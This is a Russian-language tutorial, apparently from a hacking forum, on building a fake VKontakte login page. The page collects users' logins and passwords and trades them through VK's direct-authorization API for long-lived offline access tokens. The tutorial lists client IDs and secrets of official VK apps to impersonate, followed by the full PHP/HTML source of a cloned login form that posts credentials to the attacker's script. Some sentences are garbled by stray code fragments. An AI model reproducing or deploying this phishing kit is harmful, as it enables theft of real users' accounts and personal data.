Суть механизма заключается в том, что мы будем отправлять данные из HTML-форм на сервера вконтакте. В ответ мы получим access token.
Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так:
Код:
https://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]
Что все это значит:
- clenit_id - это id нашего приложения. Запишем в client_id значение 2274003.
- scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет д#hide_row_pass ы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до #hide_row_pass ользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
- client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
- username - логин пользователя ВКонтакте
- password - пароль пользователя ВКонтакте
Варианты официальных clenit_id и client_secret
Android:
client_id: 2274003
client_secret: hHbZxrka2uZ6jB1inYsH
IPhone:
client_id: 3140623
client_secret: VeWdmVclDCtn6ihuP1nt
IPad:
client_id: 3682744
client_secret: mY6CDUswIVdJLCD3j15n
Windows desktop:
client_id: 3697615
client_secret: AlVXZFMUqyrnABp8ncuU
Windows phone:
client_id: 3502557
client_secret: PEObAuQi6KloPM4T30DV
Теперь необходима форма авторизации как в вк.
Создадим php документ authorize.php
authorize.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<?php
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>ВКонтакте | Вход</title>
<link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" />
<link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link>
</head>
<body class="VK oauth_centered">
<script>
if (window.devicePixelRatio >= 2) document.body.className += ' is_2x';
</script>
<div class="oauth_wrap">
<div class="oauth_wrap_inner">
<div class="oauth_wrap_content" id="oauth_wrap_content">
<div class="oauth_head">
<a class="oauth_logo fl_l" href="https://vk.com" target="_blank"></a>
<div id="oauth_head_info" class="oauth_head_info fl_r">
<a class="oauth_reg_link" href="https://vk.com/join?reg=1" target="_blank">Регистрация</a>
</div>
</div>
<div class="oauth_content box_body clear_fix">
<div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>
<form method="POST" id="login_submit" action="login.php">
<div class="oauth_form">
<div id="hide_row_pass" class="box_error">Указан неверный логин или пароль.</div>
<div class="oauth_form_login">
<div class="oauth_form_header">Телефон или email</div>
<input type="text" class="oauth_form_input dark" name="login" value="">
<div class="oauth_form_header">Пароль</div>
<input type="password" class="oauth_form_input dark" name="password" />
<button class="flat_button oauth_button button_wide" id="install_allow" type="submit" name="submit_login">Войти</button>
<a class="oauth_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>